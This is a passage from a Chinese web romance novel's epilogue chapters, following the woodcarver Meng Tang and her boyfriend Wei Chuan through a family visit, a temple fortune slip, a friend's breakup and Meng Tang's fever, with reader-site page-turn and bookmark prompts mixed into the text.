方姐看得出来,魏川带来的都是极品,笑了声:“那就给小棠炖吧,这段时间在学校学大件,都瘦了些。” “没事,有我呢。”魏川说,“这带回来的就是给您和孟棠的,她在家又待不了几天,您不吃都浪费了。” 方姐心里十分欣慰,她在孟家多年,孟棠和孟遇春把她当家人很正常,但魏川能做过这个份上,说明是真的爱孟棠。 她将孟棠从小带到大,当亲闺女看待,说一声丈母娘看女婿越看越喜欢,不为过。 孟棠从屋里出来,笑道:“你们说什么呢?” “说吃饭了。”方姐示意她去叫老爷子,“小魏跟我来端菜吧。” 小情侣兵分两路上了餐桌。 方姐知道他们回来,一高兴连做八道菜。 魏川吃得乐不思蜀,直接撑了,最后在院子里晃。 孟棠洗澡去了,方姐又在收拾碗筷,孟遇春喝完最后一杯茶,咳了声:“别晃了,过来坐。” 魏川知道老爷子跟自己有话说,在他对面的石凳上坐下。 院中昏暗,桌上放着一盏灯,勉强让他俩看清彼此。 孟遇春说:“怎么让家里人接受孟棠的,跟我说说,主要是太快了,时间在我预料之外。” 魏川嘿嘿笑了声:“还问我,也不问问你孙女都跟你学了哪些看人心的本领,直接把我妈拿捏得死死的。” 孟遇春挑了下眉:“这么说,是孟棠自己争取的?” 魏川大拇指和食指一捏:“做了个小小的局,您放心吧,我家里人现在可喜欢她了,之前我奶奶寿宴上出现的事,孟棠不是跟您说了嘛。” 孟遇春感慨了声:“是长大了,不用人撑腰了。” “以后我给她撑腰。”魏川拍了拍胸脯,“放心吧。” 孟遇春叹了声气:“当初你第一次来家里的时候,我就觉得你不错。” 魏川惊愕:“去年国庆?” 孟遇春点了点头:“跟你说一堆废话就是探探你的家庭。” 一个人怎么样,几句话一搭,孟遇春就能知道对方的德行。 扯到家庭的话,就能窥探出更多的信息,当初放任孟棠和魏川来往,不过就是觉得魏川的家庭底色是健康而温暖的,这些,恰恰是孟棠最需要的。 魏川完全没想到老爷子能想的那么远,都说父母之爱子,则为之计深远,老爷子一把年纪为了孟棠,也不容易。 魏川笑了声:“那您看人挺准。” “走了,睡觉去。”孟遇春心情大好,背着手起身,哼着民间爱情小调悠然走远。 魏川摇头失笑,听到浴室的门被人拉开,迅速起身藏到了海棠树的后面。 孟棠出了浴室,乐道:“有些人藏什么呢?自己多高,心里没点数?” “……” 魏川从海棠树后出来,见四周没人,一把勒住孟棠的腰,土匪似的将人“绑架”回房间。 偏偏人质也不敢喊,还抱着“绑匪”的脖子卿卿我我,也真是没羞没臊了。 进了卧室,孟棠捶了一下魏川的肩膀:“下次不准在院子里抱我。” 魏川左耳进右耳出,压着孟棠亲了一口:“那现在抱你行吗?” “别闹了好嘛。”孟棠被他亲得痒,一边躲一边笑,“今天开车不累啊,赶紧洗澡睡觉去。” “哼……”魏川哼哼唧唧地抱住孟棠,“哪天才能跟你一起睡啊?” 孟棠笑着捧住他的脸:“在康铂可以一起睡,在家里的话,估计要等到结婚。” 魏川捶了一下自己胸口,翻身躺在孟棠旁边,一副生无可恋的样子。 这章没有结束,请点击下一页继续阅读!孟棠翻身趴在床上,手指戳了下魏川的脸:“这三天我不做活,陪你逛一逛雁清好不好?” 魏川眼眸一亮:“真的?” 孟棠点了点头,低头在他唇上安抚地亲了下:“去睡觉吧。” “好。”魏川回了一个吻,听话地起身走了。 孟棠一夜好眠,第二天比魏川起得早。 方姐给她炖了燕窝,孟棠接过,问:“是魏川带过来的?” 方姐点了点头。 “就一份吗?” “都有都有。”方姐应付了声,“你先吃,我去厨房把煎饺盛盘。” “好。” 魏川眯着眼睛,顶着乱七八糟的头发出了房门,见自己女朋友仙女似的吃燕窝,垂头看了眼自己,默默回了房间。 十五分钟后,大帅哥以亮瞎人的姿态走了过来,叼走了孟棠刚夹起来的煎饺。 “嗯嗯……”魏川不住点头,“牛肉的啊?好吃。” 孟棠将粥推给他:“喝一口,别噎着。” 魏川垂头喝了口,问:“爷爷和方姐呢?” 孟棠:“人家早吃过了好嘛。” 魏川“哦”了声:“待会儿咱们去哪儿?” 孟棠说:“去非遗馆吧,你之前想去没去成,里面的镇馆之宝是我爷爷三十年前雕刻的。” “行。”魏川拿出手机看了眼,“这两天天气都不错,国庆节很多地方都有活动,人太多了,要不,咱们去一趟水月寺?” 孟棠笑着问他:“我发现你对那儿挺执着啊,这次求什么?” 魏川爽朗一笑:“求个天作之合。” 孟棠笑着将碗筷拿到厨房刷了,魏川紧随其后。 两人跟老爷子说了声,牵着手出了门。 一路上,魏川倒是听了孟棠不少的科普,比如:现在的非遗馆就是她毕业后的工作室。 雁清这座非遗馆本来是孟家的家族工坊,后来孟怀璋出事,这里被政府改建,孟遇春费尽心思保留了部分权益。 她和孟遇春的身份都是经由国家审核鉴定过的。 按理说,以孟棠的能力,即便还在校读书,也该参与进家族工坊一些力所能及的工作。 但孟遇春一直将她压着,为的就是毕业后的一鸣惊人,快速在行业内出圈。 不然以现在各种各样非人性化的规定,孟棠不一定能在非遗馆里设工作室,因为要熬时间,就跟某些岗位需要熬资历一样。 魏川根本不懂木雕,但他爱孟棠看木雕的眼神。 她好像从没对任何人露出过这样沉迷的目光,包括他。 魏川莫名有些失落,时间差不多了,拉着孟棠出了非遗馆。 回到家吃了饭,安静地过完了一天。 翌日,孟棠因为太累起得迟了,魏川嘴巴里叼着海棠树的树叶无聊地盯着孟棠的窗户。 直至窗户微动,他才展开了眉眼,露出满满的笑意。 方姐给留了饭,魏川和她慢条斯理地吃完,躲过了最热的正午,两人在下午三点左右出了门。 来水月寺的人不多,毕竟不是什么出名的地方。 魏川依旧执着于不走寻常路,孟棠一直被老爷子催着锻炼身体,也不再抗拒这条看似陡峭的山路。 魏川一路热情高涨,孟棠看了觉得奇怪,问:“你又不是没来过,怎么跟第一次来似的。” 魏川哼了声:“第一次懵懂,第二次‘分手’,这次我是来求签和你这辈子绑一起的。” “呃……”孟棠一愣,“不是我泼你冷水,求签这种事吧,见仁见智,万一不是上上签,这件事就会一直刺挠你的心,还是别求了。” 魏川坚定道:“不,要求,上上签最好,下下签我必破。” 他当这里是和孟棠的姻缘庙,哪座神来了都得给他撂下一句好话。 孟棠没有掺和,独自放了魏川去求签。 她买了祈福带,亲自写了两句经典的姻缘词上去,万一魏川求了下下签,她也能安慰一下。 半晌,魏川求了签出来,表情有些呆滞。 孟棠倚在祈福树下的栏杆旁,心脏莫名一跳,坏了,不会真抽了下下签吧? 魏川走到她面前,眼神都变清澈了,一句“我靠”堵在喉咙,他盯着孟棠的眼睛,说: “太不可思议了,我也没想到会是这样的签文。” 孟棠也紧张了:“好还是不好?” 魏川抬手将签文给她:“自己看。” 孟棠接过,骤然睁大了双眼,竟然是签王! 再看内容,惊得她半晌没回神—— 一面之缘浅如水,再遇方知天意会。 红线千匝绕指尖,半木半缘世世牵。 两人不知道什么时候对上了视线,同时笑出了声。 魏川难掩激动:“绝配,我得把这个签文发给家里人看一下,保准吓他们一跳。” 说干就干,他当即拍了照片发进了家族群。 孟棠也高兴,她将祈福带递给魏川:“挂上去吧,本来是想安慰你的。” 魏川接过,将祈福带挂了上去。 夕阳余晖,美不胜收,魏川从孟棠的身后圈住她,双手撑在栏杆上,将她禁锢在怀里。 其实想要亲一亲的,但寺庙重地,还得矜持。 天色渐暗,天边的云朦胧成一片紫粉,美景当前,两人静静欣赏了片刻。 孟棠从他怀中抬起头,就这么看着魏川。 魏川低头一瞧,是沉迷又温柔的眼神,他心头一震。 昨天还觉得孟棠看木雕都比看他深情,今天就被打脸了。 魏川喉结滚动了下,克制着没亲下去,用脸颊蹭了蹭她:“再看我就害羞了。” 孟棠轻笑一声,回过头继续看夕阳美景。 直至天边烧红,她才说:“谢谢你走进我的世界。” 她从未感受过如此热烈的喜欢,仅仅是喜欢就已经灼人。 去年夏天的尾巴她没抓住,却抓到了一个意料之外的爱人。 她是木头动了情,回首来时被刻刀划过的每一处,都被他温柔的眼神一一抚平。 从此琥珀岁月,温润动人。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第185章 番外1:发烧 魏川在雁清只待了三天就走了,孟棠的日子照旧,跟着孟遇春整天窝在北院的工坊里。 工坊为了保护木材,温度和湿度都很重要。 孟家这种大宅不依赖空调,是通过建筑结构调节温度。 老爷子也不喜欢现代的温湿度调节器,基本都靠老方法去保持。 一年四季都有对应的方法,夏季高温多雨,湿度就会比较高,会用生石灰和木炭吸潮。 不过条件还是艰苦的,尤其是早些年,冬天生冻疮,夏天长痱子…… 现在十月,气温倒是还好,不过动起手来,汗水也是一茬又一茬。 一天下来,孟棠直接累瘫,好在有方姐照顾。 国庆后回校,魏川不在学校,他和球队出门做公益去了。 孟棠在女寝门口碰到石岚,两人一起上了楼。 “带了什么?”石岚向下瞥了眼。 “呛蟹。”孟棠说,“我家里阿姨自己做的,做了很多,带给你们尝一下。” 十月也是吃螃蟹的季节,石岚还真没吃过呛蟹,帮孟棠将东西一起拎回了寝室。 刚进门,气氛就不太对劲,谢泠音眼睛有点红,杨可站在她旁边,听到动静,看向了门口。 “怎么哭了?”石岚大大咧咧地问,“许鹤清欺负你了?” 谢泠音摇了摇头:“我从大二就开始准备的交换生项目,家里不同意我去,闹翻了。” “我去。”石岚为她鸣不平,“你弟那个废柴可以,你不可以是吧?” 孟棠问:“那你自己呢,什么打算?” 谢泠音说:“不去了,等毕业后我去读研,再也不回来。” “别说气话。”杨可安慰她,“读研是完全可以的,回来还是要回来的,不是还有我们嘛。” 谢泠音被逗笑:“行,你们以后做我的娘家人吧。” 那个重男轻女的家,她是一刻都待不下去。 唯一庆幸的就是朋友和爱人都在吧。 孟棠将呛蟹拿过来,说:“从家里带的,先吃点吧,边吃边说。” 谢泠音点了点头。 孟棠带来的呛蟹实在美味,方姐做了一个迎合大众口味的处理。 几个人围在一起,将孟棠带来的呛蟹吃得精光。 孟棠用湿纸巾擦了手,可惜魏川不在学校,不然也能让他尝一尝。 公益项目去了三天,魏川下车第一件事就是给孟棠打电话。 孟棠看着自己被薅秃的电动车一阵无语,接到魏川的电话莫名有些心虚。 “你在哪儿呢?”魏川上来就问,“我回来了,在学校的碎影路。” 孟棠回:“那你在那边等我吧,我已经下课了。” “行。” 下课时人潮涌动,刚从教学楼出来,堆在一起的电动车和单车挤不动。 堵了五分钟,孟棠终于冲出了人群。 大部分过去,孟棠还没出现,魏川有些急了,刚要打电话,孟棠从小路尽头骑着车过来,还能空出一只手朝他挥手。 “你小心点。”魏川迎上去,笑意倏地一僵,“东西呢?” 孟棠将两腿支在地上,朝他耸了耸肩:“你觉得呢?” “都是些什么人啊。”魏川无语了,“怎么狠得下心,把这么漂亮的车薅秃的?” 孟棠失笑:“你买来的时候我就觉得不长久,杨可以前也弄过这些,不到一个星期,连车垫都没了,人家好歹还给我留了一个。” “人心险恶啊。”魏川感叹了句,“走吧,吃饭去。” 孟棠将车给他,这样的话,两人勉强能走。 魏川不接,跨上了后座,两只脚在地上滑,把孟棠整得无语了。 “你这几天想我没有?”魏川一边滑一边歪着头问孟棠。 孟棠油门拧到底,速度还没人家走得快。 “赶紧下来。”孟棠无奈地停住,“哪天才能吃上饭?” 魏川起身,双手握住她的肩膀,弯腰在她耳边说:“是啊,我哪天才能吃上饭?” 孟棠没听懂其中的寓意,拧着把手,一路到了食堂。 打了饭,魏川在她旁边坐下。 孟棠扭过脸说:“公益结束了吧?之后是不是一直待在学校里。” “今年有校外特训。”魏川笑了声,“11月估计要出去一段时间,12月回来补课接着训练,准备来年的分区赛。” 说到12月,孟棠想起了魏川的生日。 “照你这么说,今年生日是在学校吧?” 魏川笑了声:“应该在学校,怎么?这么早就要给我准备生日礼物了?” 孟棠说:“我就随口问一声,万一你不在学校,我要是准备了,那……” “你要是敢说浪费,我就在这儿亲你。”魏川食指一伸,语气威胁。 孟棠默默将话咽了回去,朝他装傻地笑了笑:“吃饭。” 魏川哼了声,埋头吃饭。 吃完饭自然没回宿舍,毕竟好不容易有点时间,都得拿来谈恋爱。 学校里不少地方都挺适合小情侣待的,魏川给她买了杯奶茶,拉着她在湖边坐了下来。 这章没有结束,请点击下一页继续阅读!四周散落着不少小情侣,魏川搂了下孟棠的腰,说:“怎么感觉又瘦了,到底有没有好好吃饭?” “吃了。”孟棠无奈道,“胃口就这么大,也不能撑着吧,再说这两天还是热,等温度降下去就有胃口了。” 其实她是被累得不想吃。 每天眼睛一睁就要忙专业课,其余时间都得在木雕工作室待着。 晚上十一点才回寝室,天天如此,谁也受不了。 “不行啊,真的要让我妈给你补补了。”魏川摸了把孟棠的脸,“脸上有肉才好看,知道吗?” 孟棠顺势倒在他怀中,过了会儿,问:“许鹤清有没有在寝室里说泠音的事?” “提了一下,好像是出国读书的事。”魏川低头,“怎么突然说这个?” 孟棠说:“泠音大二的时候就准备在大三交换学习,但她家里人不同意,她说不去就不去,毕业后出国读研就不回来了,许鹤清知道这个事吗?” “我说他这几天怎么跟吃了炸药似的。”魏川说,“看来是在烦谢泠音的事,许鹤清家里帮他未来的路都铺好了,谢泠音要是毕业后就走,他俩准得分手。” “为什么?”孟棠坐了起来,“泠音不可能不回来的。” 魏川:“许鹤清的专业去国外的话相当于从头再来,他出国不太可能,如果谢泠音真去的话,结果还真说不好。” 孟棠眼皮一跳,按照她对谢泠音的了解,这次错过了,毕业她必去。 异地恋尚且艰难,更别提异国恋了。 可这是谢泠音的人生,谁都无法插手,包括许鹤清。 事实证明,孟棠的第六感还是很准的。 在长达两个多月的拉扯中,谢泠音和许鹤清谈崩了。 谢泠音冒着十二月的冷雨喝了个半死不活。 孟棠和石岚、杨可照顾了大半夜。 孟棠拍了拍石岚:“我去给魏川打个电话。” “去吧,问一下许鹤清到底怎么回事。” 孟棠也是这个意思,她照顾谢泠音出了一身的汗,转头拿下了围巾,敞开了大衣,拿着手机去了阳台。 魏川接她的电话一向很快,接通后,他说:“我刚想给你打电话,谢泠音是不是也喝酒了?” “已经不省人事了。”孟棠说,“听你这意思,许鹤清也喝了?” 魏川:“喝了,现在发酒疯呢,说了一堆的废话。” 孟棠试探地问了句:“分手了吗?” “应该分了吧?不然喝这么多干什么?”魏川回头看了眼屋内,“不过应该是气话,他俩有前科。” 孟棠:“……左一次右一次地说分手,经得起这样的消耗吗?” 魏川叹了声气:“这次不太一样,平时小打小闹,哄一哄就能行的,这次事关前途选择,让人都不知道怎么劝。” 谢泠音的家庭也太令人无语了。 许鹤清是独生子,虽说之前选专业和家里闹了一顿,但现在明里暗里都在给他的未来铺路。 “许鹤清如果想要和谢泠音结婚的话,必然需要家庭的托底。”魏川想了想,还是跟孟棠说了,“他只有把事业做上去了,才能将谢泠音从重男轻女的泥泞中解救出来,但谢泠音想要出国读研,我也能理解,这件事,还得他俩自己沟通。” 孟棠吸了吸鼻子,打了个喷嚏,一阵冷风吹过,身体下意识颤了颤。 “你在外面?”魏川眉心一蹙,“在阳台上?” 孟棠“嗯”了声:“她们在照顾泠音,我出来给你打的电话。” “外面这么冷,赶紧进去。”魏川听到她的喷嚏,心下一紧,“别再感冒了。” “没事。”孟棠倒是心大,“我这段时间,一周最起码去两次健身房,抵抗力还是有的。” 她脖颈间的汗水早已被冷风吹干,又一阵风吹过来,她不自觉拉紧了大衣。 魏川还是不放心:“先回寝室吧,他俩这事,还得他俩自己谈。” “好。”孟棠转身道了晚安。 她洗漱后,没一会儿就睡着了,可第二天却没起来。 被子里滚烫一片,浑身关节又酸又疼,嗓子都快冒烟了。 孟棠迷茫地睁开眼睛,觉得昨晚就不该说自己有抵抗力,这脸打的,啪啪响。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第186章 番外2:我想要你 孟棠艰难地坐了起来,掀开了床帘,今天周六,昨晚睡得迟,没一个醒的。 她坐了会儿,慢慢下床倒了杯温水喝光了。 手机震动声响起,她怕吵醒室友,又费劲巴拉地拿了枕头下的手机。 是魏川打来的,孟棠划下接听键,无力地“喂”了声。 “声音怎么了?”魏川瞬间察觉到不对劲。 “发烧了。”孟棠耷拉着眼皮,“真被你说中了,我现在浑身关节都疼。” “你现在立刻下来,我带你去医院。”魏川语气有些急,但又难掩心疼,“我就在你楼下呢,打电话是想让你下来拿早餐的。” 孟棠应道:“好,我换个衣服就下来。” “不着急,你慢慢换。”魏川边走边说,“我先去把车开进来。” “嗯。” 孟棠挂断电话,去卫生间洗了漱。 杨可被手机闹铃吵醒,掀开床帘看了眼孟棠:“你起这么早?” 孟棠回:“有点发烧了,不舒服。” 杨可坐了起来:“要不要我送你去医院?” “不用。”孟棠摆了摆手,“魏川过来了,泠音就交给你和石岚照顾了。” “行,赶紧下去吧,你脸好红。” 孟棠拿上围巾和包,出了寝室的门。 今天天气不错,空气都很清醒,让她昏昏欲睡的头脑清醒了一点。 赶到女寝门口,手机又响了。 孟棠懒得接,因为她已经看见了魏川的车。 魏川自然也看见了她,下车后跑了过来,一把将孟棠抱进怀中,用额头抵住她的额头。 “好烫。”魏川实在心疼,“现在就去医院,我给你买了早餐,先吃一点。” “不想吃。”孟棠砸进他的怀里,“好难受。” 魏川将她搂着往车边带,将人送到副驾后,又亲自系上了安全带。 上车后,他没急着走,先给魏明珠打了通电话。 魏明珠刚从医院出来,接到魏川的电话,听着他慌得不行的话,还以为发生了什么事,哪知道就是孟棠发烧了。 忍了半刻,她说:“听你的描述应该是受凉了,去什么医院,直接回去量体温,超过38.5度,有明显不适直接喂退烧药,记得补充水分,吃的清淡些,几天就好了。” “回家?”魏川还是不放心,“万一更重了怎么办?” 魏明珠:“……” 孟棠拉住魏川的胳膊,说:“去康铂吧,就是受凉了。” 魏川还在犹豫,孟棠又轻轻晃了晃他的手臂。 他顿时心软了,将车开往了康铂。 公寓里的服务部都会常备药品,魏川让管家送了退烧药过去。 进门的时候,退烧药已经在玄关放着了,除了药,还有量体温的工具,温度计和耳温枪都有。 魏川将水银的给孟棠:“先量一下体温,我把粥晾凉。” “好。”孟棠接过后,转身去了客厅,在沙发上找了个舒服的位置窝着。 魏川解开了早餐的袋子,问孟棠:“南瓜粥想不想吃?” 孟棠其实什么都不想吃,但不吃的话魏川会担心,于是点了点头:“垫个胃吧。” 见她要过来拿,魏川躲开她的手:“先坐好,量完体温再吃,我喂你。” 孟棠往后躲了躲:“也没必要吧?” 她又不是小孩。 几分钟后,魏川对孟棠伸手:“温度计给我。” 孟棠拿出来,自己看了眼,说:“39度。” 魏川确认了下,说:“先吃饭吧,份量很少,都喝了。” 孟棠含住勺子,吃了满嘴甜香。 然后就这么被一勺一勺喂饱了,胃里都舒服了起来。 饭后,魏川按照说明书给孟棠取了药,又倒了杯温水递过去。 孟棠将药吃了,乖乖倒在了沙发上。 魏川看得想笑,又觉得呆呆的挺可爱,摸了把她的脸:“我给你拿个薄毯。” “好。” 魏川从卧室里拿了毯子给孟棠,俯身在她眉心亲了下:“我去吃个早饭,待会儿回来陪你睡个回笼觉?” “行。” 因为发烧,孟棠的声音又哑又低,带着几分无辜的意味。 他给孟棠买的早饭是全寝室的量,后来因为孟棠发烧没能送上去,最后只能进了他的肚子。 因为担心孟棠,魏川吃的很快,吃完又收拾了垃圾,顺道去卫生间漱了口。 孟棠浑身滚烫,想睡又睡不着。 魏川拍了拍她:“往里去一下,我抱着你睡。” 孟棠往沙发背上贴,整个人侧了过来。 魏川将手臂伸到她颈下,手掌在她后腰一兜,将孟棠整个人抬了起来。 他找了个合适的姿势,往孟棠的方向侧了侧,让她趴在自己胸口。 孟棠身上更烫了,她眯着眼睛,小声说:“好热。” 魏川轻轻拍着她的后背:“忍一忍,药效上来后,汗流出来就好了。” 孟棠闭上眼睛,搂住了魏川的腰。 也许是这个胸膛足够可靠,孟棠没一会儿就睡了过去。 魏川根本不敢睡,两人靠在一处密不透风的地方,烘着一层温热的湿气。 本小章还未完,请点击下一页继续阅读后面精彩内容!药效上来后,孟棠流了许多的汗,洇湿了彼此。 魏川给她擦干净额头的汗,又上前抵了抵,终于松了口气。 温度可算降下去了。 他的目光终于从孟棠脸上移开,拿过手机,心血来潮打开了相机。 魏川以前并不喜欢拍照,但他现在的手机里,已经装了一百多张孟棠的照片。 他高高举起手臂,对着两人拍了张,又是什么滤镜都没有,直接扔进了朋友圈。 楚茵第一个看见,评论:【怎么感觉孟棠的脸色不太对啊?】 魏川回复:【昨夜受凉发烧了,吃了药,好不容易才睡着。】 楚茵:【那你注意一下,退烧后不能立即洗澡啊,有汗就给她擦干净,换身衣服。】 魏川:【行,谢谢妈。】 楚茵:【感冒发烧可能没胃口,你哄着吃一点,看着太瘦了。】 魏川:【知道,我还能让你儿媳妇饿着吗?】 楚茵懒得理他了。 十点左右,孟棠迷迷糊糊地醒来,手脚还是有点软,但已经舒服了许多。 “醒了?”魏川摸了摸她的额头,“退烧了。” 孟棠又闭上了眼睛:“有点渴。” “我去倒。”魏川拍了拍她,将毯子给她盖上,“你身上有汗,先盖着,待会儿擦干净换身衣服。” 孟棠起身:“我还是去洗澡吧。” “别,我妈特地说了,不能洗澡。”魏川按住她,“躺好,我去倒水。” 孟棠一愣,转头问:“阿姨怎么知道?” 魏川说:“我拍了个朋友圈,她看出来了。” 孟棠又问:“看见我手机了吗?” 魏川将水递给她,转头将茶几上的手机拿了过去。 孟棠喝完一杯水,打开了朋友圈。 魏川坐在一旁问:“还要不要喝了?” 孟棠点了点头,看到了魏川发的朋友圈,她无语地望着他:“你把我拍得太丑了。” “到底哪儿丑了?”魏川实在不解,“不挺好看的吗?” 孟棠:“……你觉得好看就好看吧。” 魏川又给孟棠倒了杯水,看着她喝完后,俯身将她抱了起来。 “哎。”孟棠揽住他的脖颈,“带我去哪儿?” “换身衣服,别又着凉了。” 孟棠晃了下脚,笑道:“我觉得我已经好很多了。” 魏川将她抱进衣帽间,给她拿了套家居服:“先换上,今晚别走了,明天再休息一天看看。” 孟棠是能待得住的性子,让她一个礼拜不出门都行,只是苦了魏川这个好动的性格。 她接了家居服,抬了抬下巴:“你先出去。” 魏川轻笑一声,抬手勾了下她的脸:“要不是看你生病的份上,我可能就留下了。” “流氓。”孟棠小声嘀咕。 “换吧,我先出去。”魏川转身出了衣帽间。 孟棠换了家居服,她在这里的衣服跟魏川基本上都是情侣款式的。 魏川忙着训练,她也忙着雕刻,只有楚茵会隔段时间就往衣柜里添衣服。 孟棠换好衣服,回了卧室,在魏川身边坐下。 “看什么呢?” “许鹤清。”魏川抬了抬眸,“说谢泠音不理他了,我听他这意思,还是想要和好的。” 孟棠揽住他:“别轻易地劝和好,就按他按照泠音一定会出国读研去解决这件事。” “暂时先让他们冷静吧,别光和好,不解决问题。” 魏川点了点头:“行,我跟他说。” “过几天不就是你生日嘛。”孟棠靠在魏川的肩头,“到时候约他们一起出来,再把话讲清楚。” “如果分手,那什么都不用说了,如果不分,就得想好以后的恋爱怎么谈。” 魏川沉思半刻,跟孟棠说:“他俩有点急了,还有两年才毕业,但我感觉许鹤清一定不会分手。” 孟棠其实也倾向于这个答案。 她戳了下魏川的手背:“今年生日,你想要什么生日礼物?” “木雕。”魏川想都不想,“每年都给我雕一个小玩意,我一定好好保存。” 孟棠歪了歪头:“那你想要什么?” “我想要你。”魏川突然说。 孟棠一愣,半天也没找到自己的声音。 “开玩笑的。”魏川说,“你雕什么都可以,反正是你雕刻的就行。” 孟棠点了点头,无意识地攥了下手。 刚才魏川的那句话,绝对是认真的! 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第187章 番外3:妈,我的饭呢 从五月正式在一起,到现在已经过了半年。 半年的时间其实很短暂,但孟棠觉得,她和魏川之间已经发生了很多很多的事…… 因为孟怀璋,他俩得到父母认同的过程缩短至几个月。 楚茵没什么心眼,接受了,对她也很好,不过偶尔会流露出对魏川的心疼。 毕竟大少爷从前饭来张口,衣来伸手,乍然有了女朋友,跟伺候祖宗似的,太过的话,楚茵就会咯噔一下,然后被魏立峰迅速开解。 魏川依旧我行我素,该怎么样就怎么样。 想到这儿,孟棠抬手摸了下魏川的脸:“我给你雕刻一个小像?” “我吗?”魏川有点嫌弃,“我收藏自己的小像?不能求一个你的吗?” 孟棠笑了声:“这么嫌弃自己干什么?” 魏川扭过脸,额头撞了下孟棠:“雕个你的小像给我。” “好。”孟棠在他肩头蹭了蹭,“有点饿了,有饭吃吗?” “还能把你饿着?”魏川搂过孟棠,“你换衣服的时候我就让人送过来了,不过你还在生病,吃清淡一点行吗?” 孟棠的口味没那么重,闻言点了点头。 魏川让餐厅送了两人份的午餐,一道嫩豆腐抱蛋、一道龙井虾仁,还有清蒸鲥鱼和上汤时蔬。 孟棠瞥了眼,看向魏川:“这么清淡,你能吃吗?” “有什么不能吃的。”魏川将餐桌拉开,示意她坐下,“我总不能在你生病的时候大吃大喝吧?什么时候了还管我,赶紧坐下吃饭,刚才还说自己饿了。” 他说这些话的时候,表情温柔又宠溺,语气也是。 明明在一起也没多少天,孟棠莫名有种老夫老妻的感觉。 事实是,他俩还没突破最后一步。 拿了筷子,孟棠夹了一块虾仁送到魏川的嘴边。 魏川愣了下,随后笑纳了,表情满足又好笑。 这点份量对于魏川来说其实不够填饱肚子的,但孟棠吃了点就下了桌,他也没什么心思了。 “不好吃啊?”魏川追过去问。 “没有,吃饱了。”孟棠坐上沙发,仰头看向魏川,“你怎么不吃了?” 魏川松了口气:“我还以为你嫌弃不好吃。” 孟棠偏了下头:“把东西吃完,别浪费。” “好。” 魏川应了声,又转回了餐厅。 手机响,孟棠拿过沙发上的手机,看到来电显示愣了下。 她划下接听键,“喂”了声:“苏老师。” 魏川抬眸,苏老师?苏勉吗? 聊了十来分钟,孟棠才挂了电话。 魏川吃完走过来,在她身边坐下,手臂从她后颈穿过去,捏着孟棠的耳垂玩。 “谁的电话?” “苏勉。”孟棠说,“书要出版了,她之前不是请我写序吗?” “这种要写多少字?”魏川将孟棠搂紧。 “1000到2000吧。”孟棠趴在他怀里,揪着他的衣服玩。 从准备到动笔,最后润色,差不多一个星期能好。 “这里有笔记本吗?”孟棠仰起头,“下午也没什么事,我整理一下思路。” “有,这里有个书房,你不会还没去过吧?”魏川低头,眼神有些不可思议。 孟棠一阵心虚:“路过,没有进去过。” 魏川:“……走,现在就去,我又不需要书房,以后就是你的了。” “不需要为什么还要装书房?” “房子本来就有的格局,我去了z大,离学校近,大姐买的。” 说着,魏川推开书房的门,对孟棠做了个“请”的手势。 孟棠走进去,四处打量了下,书房布置挺简约的,书也有不少,还不是装饰。 魏川把笔记本打开,拍了拍办公椅:“坐这儿,抽屉里也有纸笔,自己拿。” 孟棠弯着腰拉开抽屉,拿了纸笔后在办公椅上坐下。 孟棠坐进椅子后突然说了句:“这椅子好大。” 魏川站在她身边,突然抬腿跨坐到椅子上,孟棠一愣,一转头,被人抱了满怀。 “这椅子确实大。”魏川在她耳边笑了声,“你忙你的,我自己玩会儿手机。” 孟棠:“……这样让我怎么忙?” “我不管。”魏川拿出手机,往后挪了挪,然后搂住孟棠的腰,下巴搁她肩膀上。 “……” 孟棠低头一看,魏川的手机已经打开了游戏。 她无奈地拔掉笔帽,在纸上列了个大纲后,又誊进笔记本。 毕竟是大师的第一本书,孟棠总觉得自己还不够格,每个字每组词都得细细斟酌。 其实序里聚焦一两个核心点就可以,苏勉给了她一个主题,就是木雕和生活的关联。 孟棠在笔记本上敲敲打打,魏川抱着她玩游戏玩得飞起。 时间一点点流逝,两个贴在一起的人安静地做着彼此的事。 玩到无聊,魏川关了手机,大刀阔斧往后一躺,抬手拨弄孟棠的头发玩。 孟棠几次三番被他扯到头发,转头瞪了魏川一眼:“你再玩呢?” 这章没有结束,请点击下一页继续阅读!魏川厚脸皮地抱上去,在孟棠脸上亲了口:“什么时候好啊?” “快了。”孟棠敷衍了声,“你要是无聊,去客厅打游戏去。” “谁想打游戏啊。”魏川哼哼唧唧,“好不容易有点时间,给点谈恋爱的时间呗。” 孟棠笑了声:“你别忘了,我还在生病中。” “这你倒是提醒我了。”魏川拿走她的笔,合上笔记本,“你还在生病呢,别一股脑写了,歇一会儿。” “不行,我都——” “走了。”魏川箍着她的腰一起起身,孟棠这点重量不够看的,被他一只手拎出了书房。 进了卧室,魏川将她放到床上,说:“再休息会儿,身体还难不难受了?” 孟棠摇摇头:“吃了饭,好多了,就是想要洗澡。” “晚上再洗吧。”魏川哄了声,“毕竟刚退烧,再睡会儿,我陪你一起。” 孟棠点了点头:“上来吧。” 魏川上午并没有睡着,尽担心孟棠去了。 这会儿搂着香香软软的女朋友,没一会儿竟然睡着了。 孟棠笑了声,将搭在自己腰上的手臂拿开了,没一会儿,他又搭了上来。 孟棠无奈了,只能任由他搂着,他到底知不知道自己的胳膊很重啊。 睡到夕阳西下,魏川才悠悠转醒,另一侧空空如也,他一下睁开了眼睛,下了床。 “孟棠?” 客厅和餐厅都没人,魏川一路找到了书房。 见她整个人窝在椅子上打字,一点招儿都没了。 “我说你……”魏川笑了声,“算了,跟你说了也不听,要不要出去吃饭?” 孟棠伸了下懒腰,直接在椅子上站了起来。 “喂!”魏川吓了一跳,赶紧走过去扶住她,“这个椅子下面带着轮呢,你也不怕摔了。” 孟棠低头四处找:“我就是想看看我的鞋去哪儿了。” “被轮子带后面去了。”魏川将她抱坐在办公桌上,蹲下去捡起了她的拖鞋,又亲自给她穿了起来。 待在家里的这一天,过得格外漫长,孟棠生怕把魏川憋坏了,说:“我看太阳已经落山了,出去吃个饭?” 魏川点了点头,问:“你身体确实没事了吧?” 孟棠摇摇头:“退烧后好多了,我先去换套衣服。” 魏川也要换出门的衣服,和她分开进了衣帽间。 孟棠拿了手机,和魏川刚到门口,和突袭的楚茵撞了个正着。 “妈?”魏川愣了下,“您怎么来了?” 楚茵将目光落在孟棠身上,说:“我来看看孟棠,顺道带了点吃的。” 魏川:“……我这哪里缺吃的,想吃什么一个电话什么没有?还让你跑一趟?” 